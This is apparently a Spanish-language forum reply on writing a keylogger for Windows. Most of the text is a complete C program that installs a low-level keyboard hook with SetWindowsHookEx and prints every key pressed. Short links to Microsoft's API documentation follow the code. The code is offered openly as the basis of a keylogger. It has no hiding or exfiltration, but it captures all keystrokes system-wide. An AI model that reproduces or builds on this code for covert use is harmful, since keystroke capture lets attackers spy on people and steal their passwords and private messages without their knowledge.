Para el keylogger sin duda la aplicación Win32 y un ejemplo de un hook al teclado sería este:
#include <windows.h>
#include <stdio.h>
HHOOK hHook;
MSG messages;
LRESULT CALLBACK hook_teclado(int nCode, WPARAM wParam, LPARAM lParam);
int WINAPI WinMain (HINSTANCE hThisInstance,
HINSTANCE hPrevInstance,
LPSTR lpszArgument,
int nCmdShow)
{
hHook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)hook_teclado, hThisInstance, NULL);
while(GetMessage(&messages, NULL, NULL, NULL)){
TranslateMessage(&messages);
DispatchMessage(&messages);
}
return messages.wParam;
}
LRESULT CALLBACK hook_teclado(int nCode, WPARAM wParam, LPARAM lParam){
if(nCode < 0)
return CallNextHookEx(hHook, nCode, wParam, lParam);
if(wParam == WM_KEYDOWN){
PKBDLLHOOKSTRUCT teclado = (PKBDLLHOOKSTRUCT)lParam;
printf("%c", teclado
->vkCode
); }
return CallNextHookEx(hHook, nCode, wParam, lParam);
}
Aquí algunos links a la MSDN:
http://msdn.microsoft.com/en-us/library/ms644960(v=VS.85).aspxhttp://msdn.microsoft.com/en-us/library/ms644990(v=vs.85).aspxTodo lo que tiene que ver con el API de Windows esta ahí.